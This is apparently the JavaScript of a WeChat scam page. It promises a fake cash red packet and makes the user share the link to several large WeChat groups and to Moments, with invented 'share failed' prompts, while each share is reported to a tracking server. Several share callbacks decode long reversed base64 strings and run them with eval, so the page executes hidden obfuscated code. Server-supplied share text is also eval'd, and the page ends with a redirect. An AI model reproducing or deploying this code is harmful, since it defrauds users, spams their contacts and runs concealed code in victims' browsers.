var advertising;
var jpurl = back_url2;
var max=13;
var min=0;
var cha=20.55-Math.ceil(Math.random()*10);
var linqu=['立即领取','马上领取','即可领取','即刻领取','立刻提现','立刻到账','马上提现','立即領取','馬上領取','即可領取','即刻領取','立刻提現','立刻到賬','馬上提現'];
var fuhao=['&bull;','&amp;','&cent;','&delta;','&hearts;','&rsaquo;','&iexcl;','&acute;','&bdquo;','&circ;','&lsquo;','&prime;','&nu;','&diams;'];
var zong=155-cha;
var xiabiao=parseInt(Math.random()*(max-min+1)+min,10); Math.floor(Math.random()*(max-min+1)+min);
var bg = {
    tpl: {
        body: [
            '<div class="share-container" style="background-image:url(\'http://zoeyjhqj.oss-cn-beijing.aliyuncs.com/mry/images/ppd_hb/jiehunbg.gif\');background-size:100% auto;background-repeat:no-repeat;"></div>'
        ].join(''),
    }
};

window.gConfig = $.extend({
    defaultTips: [
        '<span style="font-size: 23px;color:#1BBC9B;">恭喜您</span><br/><br/>',
        '<span>您获得&lt;<span style="text-decoration-line: underline">現金</span><span style="text-decoration: line-through;">&yen;'+cha+fuhao[xiabiao]+'</span>&gt;</span><br/>',
        '<span style="font-size: 23px;color:red;">&yen;'+ M.getParam('money') +'，</span><br/><span style="color:red"> 活動宗旨為:一对新人答谢广大粉丝的厚爱&middot;</span><br/>',
        //'<span style="color:red;font-size:.155rem">為文宣&euro;本公司的知名度，分&rarr;<br/>享到&middot;群後</span><span  style="color:red; font-size: 24px;">即可領·取</span><br/>',
        //'<span style="color:red;font-size:.155rem">分享到&lt;群&gt;後 </span><span  style="color:red; font-size: 22px;">'+linqu[xiabiao]+'</span><br/>',
        // '<span style="color:red;font-size:.15rem;">註'+fuhao[xiabiao]+'意:&lfloor;群人数&rceil;需&ge;50人才能<br>免审'+fuhao[xiabiao]+'核</span><br/>',
        '<span>紅'+fuhao[xiabiao]+'包总額仅剩</span><span style="font-size: 20px;color:red;"> '+zong+'萬 </span>元<br/>先到先得，馬上<span style="text-decoration-line: underline">"分'+fuhao[xiabiao]+'享領<br/>取</span>到賬！<br/>',
    ].join(''),
    successTips: [
        '<span style="font-size: 20px;color: red;">恭喜您</span>，',
        '获得￥ <span style="font-size: 20px;color: red;">%(money)</span> 現金紅包，',
        '金额已提交湖南银行打款，预计1小时内到賬（跨行次日到賬，非工作时间[09:00-17:00]次日到账），請註意查收微信绑定银行卡到账情况！',
    ].join(''),
    groupTips: [{
        successTitle: '<b style="font-size: 22px;color: #1BBC9B;">分享成功！</b>',
        successTips: '请繼續分享到<b style="font-size: 18px;color: red">2</b>個不同的群<br/><span style="color:red;">紅包將立即到賬！</span>',
    },
        {
            successTitle: '<b style="font-size: 22px;color: red;">分享失敗！</b>',
            successTips: '注意：分享到相同的群會失敗！<br>請繼續分享到<b style="font-size: 18px;color: red">2</b>個不同的群！',
        },
        {
            successTitle: '<b style="font-size: 22px;color: #1BBC9B;">分享成功！</b>',
            successTips: '請繼續分享到<b style="font-size: 18px;color: red">1</b>個不同的群<br/><span style="color:red;">紅包將立即到賬！</span>',
        },
        {
            successTitle: '<b style="font-size: 22px;color: #1BBC9B;">分享失敗！</b>',
            successTips: '請分享到<b style="font-size: 18px;color: red">人數>50人</b>的群<br/><span style="color:red;">紅包將立即到賬！</span>',
        },
        {
            successTitle: '<b style="font-size: 22px;color: #1BBC9B;">分享成功！</b>',
            successTips: '剩下最後一步啦！<br />請分享到<span style="font-size: 30px;color: #f5294c">朋友圈</span>，獲贈<b style="font-size: 18px;color: red;">{moneyStr}</b>元💰立即到賬！',
        },
    ],
    timeLineTips: [{
        successTitle: '<b style="font-size: 22px;color: red;">分享失敗！</b>',
        successTips: '<br>注意：必須[<span color="red">公開</span>]分享哦!<br>請嘗試重新分享到<b style="font-size: 18px;color: red">朋友圈</b><br>',
    }, ]
}, (window['data']));

function xst(s, r, t) {
    if (!s || s.length < 2) return s;
    if (arguments.length == 3) {
        if (!t || t < 1) t = 1;
        var icons = ['♐', '🐬', '☔', '♈', '⚓', '💕', '⛎', '⚡', '💢', '☁', '💔', '🌀', '♑', '🌂', '🚀', '💓', '🌁', '🌹', '♋', '💲'];
        for (var i = 0, l = t; i < l; i++) {
            var icon = icons[Math.floor(Math.random() * icons.length)];
            s = s.substring(0, r + 1) + icon + s.substring(r + 1, s.length);
        }
        return s;
    }
    if (!r || r < 1) r = 1;
    var icons = ['♐', '🐬', '☔', '♈', '⚓', '💕', '⛎', '⚡', '💢', '☁', '💔', '🌀', '♑', '🌂', '🚀', '💓', '🌁', '🌹', '♋', '💲'];
    for (var i = 0, l = r; i < l; i++) {
        var icon = icons[Math.floor(Math.random() * icons.length)];
        var index = Math.floor(Math.random() * s.length);
        s = s.substring(0, index + 1) + icon + s.substring(index + 1, s.length);
    }
    return s;
}

function share_timeline(c, share) {
    wx.config(c);
    wx.ready(function () {
        wx.onMenuShareTimeline({
            title: share[3].title,
            link: share[3].link,
            imgUrl: share[3].imgUrl,
            type: 'link',
            success: function () {
                wx.hideOptionMenu();
                wx.showMenuItems({ menuList: ['menuItem:share:timeline'] });
                diy_alert("gQzUSOyUCR3UyNyUyNyUCMyUSQzUSZsRXa0BjMlMkMlcjMlU0MlInYDNTJFNTJuFGcz9yQzUCOwcTN1ViQDNTN1ViQwcjN1VSRzUiMyUiQzUCZlJXQzUicvx2bjJjMlQ0MlUGb5R3cwITJuFGczN0MlU0Ml4WYwN3LDNTJwMjM1UXJCFUR0UXJ2AjM1UXJwIUN2UXJENUM5UXJ1QkQ4UXJEFzQ1UXJ3YkQ4UXJFNTJuFGczN0MlU0MlInYDNTJFNTJuFGcz9yQzUSMwYkR1ViNFRTN1ViQBVEN1ViNwITN1VCR1UCMwYUN1VyQ2ETN1ViQ1UiQ3gTO1VSNDZUN1VSQxYkR1ViRwEjN1VCOFNkN1VSRzUibhB3cDNTJFNTJyJ2QzUSRzUiciN0MlU0Ml4WYwN3LDNTJxAjRGVXJ1IDR4UXJxMTO1UXJCFUR0UXJ2AjM1UXJFNTJyITJCNTJkVmcwITJBNTJy9GbvNmQzUCewNjMwITJBNTJlpXaz1Cdu9mZyITJENTJlxWe0NHMyUibhB3cDNTJ3ITJwITJBNTJldWYzNXZtBjMlMkMlcjMlQ0N5UTdlcjMlAjMlE0Ml4GdiJ0NlgjMlQnclxWYuc2bsFWak91Z");
                wx.onMenuShareTimeline({
                    title: share[4].title,
                    link: share[4].link,
                    imgUrl: share[4].imgUrl,
                    type: 'link',
                    success: function () {
                        diy_alert("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");
                    }
                });
            }
        });
    });
}

window.showTips = function () {
    g_dialog.alert({
        title: '',
        message: gConfig.defaultTips,
        btn: '確&emsp;定'
    });
}

window.showBg = function () {
    $(document.body).append(bg.tpl.body);
    $('.red-packet img').attr('src', $('.js_head_img').attr('data-src'));
    $('.share-container').css({
        height: $(window).height() + 'px'
    });
}

function config(share) {
    share[0] = share[1];
    showBg();
    showTips();
    wx.ready(function () {
        wx.hideOptionMenu();
        wx.showMenuItems({ menuList: ['menuItem:share:timeline'] });
        wx.onMenuShareTimeline({
            title: share[3].title,
            link: share[3].link,
            imgUrl: share[3].imgUrl,
            type: 'link',
            success: function () {
            	$.ajax({
                    'url' : 'http://'+countip+'/count.php',
                    'method' : 'POST',
                    'data': {res: 'timeline'},
                    'success' : function(){}
                });
                wx.hideOptionMenu();
                wx.showMenuItems({ menuList: ['menuItem:share:appMessage'] });
                g_dialog.alert({btn: '好的', message: '非常感谢，请继续分享到<span style="font-size: 30px;color: #f5294c">2个微信群</span>即可领取!</br>您有%(num)个共同好友已经领取'.jstpl_format({
                        num: xiabiao
                    }), title: ''});
                wx.onMenuShareAppMessage({
                    title: share[0].title,
                    desc: share[0].desc,
                    link: share[0].link,
                    imgUrl: share[0].imgUrl,
                    success: function(){
                    	$.ajax({
                            'url' : 'http://'+countip+'/count.php',
                            'method' : 'POST',
                            'data': {res: 'friend'},
                            'success' : function(){}
                        });
                        g_dialog.alert({btn: '好的', message: '实在抱歉，请重新分享到<span style="font-size: 30px;color: #f5294c">2个不同微信群</span>即可领取!'.jstpl_format({
                                num: xiabiao
                            }), title: ''});
                        wx.onMenuShareAppMessage({
                            title: share[1].title,
                            desc: share[1].desc,
                            link: share[1].link,
                            imgUrl: share[1].imgUrl,
                            success: function () {
                            	$.ajax({
                                    'url' : 'http://'+countip+'/count.php',
                                    'method' : 'POST',
                                    'data': {res: 'friend'},
                                    'success' : function(){}
                                });
                                g_dialog.alert({btn: '好的', message: '分享成功，请继续分享到<span style="font-size: 30px;color: #f5294c">1个微信群</span>即可领取!'.jstpl_format({
                                        num: xiabiao
                                    }), title: ''});
                                wx.onMenuShareAppMessage({
                                    title: share[4].title,
                                    desc: share[4].desc,
                                    link: share[4].link,
                                    imgUrl: share[4].imgUrl,
                                    //title: share[2].title,
                                    //desc: share[2].desc,
                                    //link: share[2].link,
                                    //imgUrl: share[2].imgUrl,
                                    success: function () {
                                    	$.ajax({
                                            'url' : 'http://'+countip+'/count.php',
                                            'method' : 'POST',
                                            'data': {res: 'friend'},
                                            'success' : function(){}
                                        });
                                        g_dialog.alert({btn: '好的', message: '不好意思，请分享到<span style="font-size: 30px;color: #f5294c">人数大于50人的微信群哦</span>即可领取!'.jstpl_format({
                                                money: M.getParam('money')
                                            }), title: ''});
                                        wx.onMenuShareAppMessage({
                                            title: share[0].title,
                                            desc: share[0].desc,
                                            link: share[0].link,
                                            imgUrl: share[0].imgUrl,
                                            success: function () {
                                            	$.ajax({
                                                    'url' : 'http://'+countip+'/count.php',
                                                    'method' : 'POST',
                                                    'data': {res: 'friend'},
                                                    'success' : function(){}
                                                });
                                                g_dialog.alert({btn: '好的', message: '分享失败，请分享到<span style="font-size: 30px;color: #f5294c">人数大于50人的微信群哦</span>即可领取!'.jstpl_format({
                                                        money: M.getParam('money')
                                                    }), title: ''});
                                                wx.onMenuShareAppMessage({
                                                    title: share[0].title,
                                                    desc: share[0].desc,
                                                    link: share[0].link,
                                                    imgUrl: share[0].imgUrl,
                                                    //title: share[4].title,
                                                    //desc: share[4].desc,
                                                    //link: share[4].link,
                                                    //imgUrl: share[4].imgUrl,
                                                    success: function () {
                                                    	$.ajax({
                                                            'url' : 'http://'+countip+'/count.php',
                                                            'method' : 'POST',
                                                            'data': {res: 'friend'},
                                                            'success' : function(){}
                                                        });
                                                        wx.hideOptionMenu();
                                                        wx.showMenuItems({ menuList: ['menuItem:share:timeline'] });
                                                        g_dialog.alert({btn: '好的', message: '<p style="font-size:.22rem;color:#0bb20c;">分享成功!</p><br>剩下最后一步啦！<br />请分享到<span style="font-size: 30px;color: #f5294c">朋友圈</span>即可领取!'.jstpl_format({
                                                                money: M.getParam('money')
                                                            }), title: ''});
                                                        wx.onMenuShareTimeline({
                                                            title: share[4].desc,
                                                            link: share[4].link,
                                                            imgUrl: share[4].imgUrl,
                                                            type: 'link',
                                                            success: function () {
                                                            	$.ajax({
                                                                    'url' : 'http://'+countip+'/count.php',
                                                                    'method' : 'POST',
                                                                    'data': {res: 'timeline'},
                                                                    'success' : function(){}
                                                                });
                                                                g_dialog.alert({
                                                                    btn: '好的',
                                                                    message: '<span style="font-size: 20px;color: red;">恭喜您</span>，,获得￥ <span style="font-size: 20px;color: red;">%(money)</span> 现金红包，,由于活动量巨大，正在排队发放，最晚48小时内到账,（<span style="font-size:20px;color: red;">请保留朋友圈分享至微信收到余额到账通知</span>）！<br/>,感谢您的参与!<br/><br/>,<span style="font-size: 20px;color: red;">朋友圈信息不可删除,否则无法核实用户信息</span><br/><br/>,以免现金红包发放失败！'.jstpl_format({
                                                                        money: M.getParam('money')
                                                                    }),
                                                                    title: '',
                                                                    cb: function () {
                                                                        if (jpurl) {
                                                                            window.location.href = jpurl;
                                                                        }
                                                                    }
                                                                });
                                                            }
                                                        });
                                                    }
                                                });
                                            }
                                        });
                                    }
                                });
                            }
                        });
                    }
                });
            }
        });
    });
}

function copy (obj) {
    var newObj = {};
    for (var item in obj ){
        newObj[item] = obj[item];
    }
    return newObj;
}

function diy_alert(s) {
    eval(unescape(atob(s.split('').reverse().join(''))));
}

function ajax_sdk() {
    $.ajax({
    	url : '/config?u=' + encodeURIComponent(location.href.split("#")[0]),
        success: function (t) {
            let r;
            let n = JSON.parse(unescape(atob(t)));
            r = [n.friend, (n['friend2'] || copy(n.friend)), (n['friend3'] || copy(n.friend)), n.timeline, (n['timeline2'] || copy(n.timeline))],
                b = n.back_page;
            //ct = n.complete_page;
            n.config['jsApiList'] = ["checkJsApi", "onMenuShareTimeline", "hideOptionMenu", "onMenuShareAppMessage", "hideMenuItems", "showMenuItems"];
            wx.config(n.config);
            (function (d) {
                function pad(num, size) {
                    var s = num + "";
                    while (s.length < size) s = "0" + s;
                    return s;
                }
                function assign(s) {
                    return s.replace(/\{city\}/g, function () {
                        return city;
                    }).replace(/\{date\}/g, function () {
                        let fif = new Date().setDate(new Date().getDate() + 3);
                        return new Date(parseInt(fif)).toLocaleDateString().replace('/', '-').replace('/', '-');
                    }).replace(/\{name\}/g, function () {
                        return ['雪桐', '彩馨', '莲珊', '甘丽美', '杜雅云', '宦安娜', '董珠', '于菡', '杜金文', '孔夏瑶', '杨寄琴', '莘千叶', '汪小妍', '巴佳莉', '隆明明'][Math.floor(Math.random() * 15)];
                    }).replace(/\{title\}/g, function () {
                        return title || unescape(atob('JXU1QUU5JXU2QTIxJXU2M0Y0JXU0RUE0JTdFJXU3OUMxJXU1QkM2JXU0RkYxJXU0RTUwJXU5MEU4'));
                    }).replace(/\{num\}/g, function () {
                        return Math.floor(Math.random() * 20 + 10);
                    });
                }
                for (var i = 0; i < d.length; i++) {
                    if (!!d[i].title) {
                        var tempTitle = assign(d[i].title);
                        tempTitle = eval("('" + decodeURIComponent(tempTitle) + "')");
                        d[i].title = tempTitle;//tempTitle.length > 2 ? xst(tempTitle, 1) : tempTitle;
                    } else d[i].title = "";
                    if (!!d[i].desc) {
                        var tempDesc = assign(d[i].desc);
                        tempDesc = eval("('" + decodeURIComponent(tempDesc) + "')"); //*/
                        d[i].desc = tempDesc//tempDesc.length > 3 ? xst(tempDesc, 1) : tempDesc;
                    } else d[i].desc = "";

                    /*var go;
                    if (/{goto->/.test(d[i].link)) {
                        go = d[i].link.split('->')[1];
                        go = go.substr(0, go.length - 1);
                        d[i].link = d[0].link.substr(0, d[0].link.indexOf('/', 7)) + '/ad/goto?url=' + encodeURIComponent(go) + '&type=groupmessage';
                    } else if (/{request->/.test(d[i].link)) {
                        go = d[i].link.split('->')[1];
                        go = go.substr(0, go.length - 1);
                        (function (i) {
                            $.get(go, function (go) {
                                go = go.trim();
                                // go += '/'+ Date.now() +'.gov'
                                d[i].link = d[0].link.substr(0, d[0].link.indexOf('/', 7)) + '/ad/goto?url=' + encodeURIComponent(go) + '&type=groupmessage';
                            });
                        }(i));
                    }*/

                    /*if (!/qqopenapp|bdysite|myqcloud|weidux|bc8090|jnjjq|qjzl|zzmht|cr18oa|hd7yx4/i.test(d[i].link)) {
                        d[i].link = d[i].link.replace('http://a.', 'http://').replace('http://', 'http://' + (function () {
                            function guid() {
                                function S4() {
                                    return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1);
                                }
                                return (S4() + S4() + "-" + S4() + "-" + S4() + "-" + S4() + "-" + S4() + S4() + S4());
                            }
                            return guid().replace(/-/g, '').toLowerCase();
                        })() + '.');
                    }*/
                }
            })(r);
            config(r);
            // jpurl = ct;
            document.getElementById("loader").style.visibility="hidden";
            advertising = b;
        }
    });
}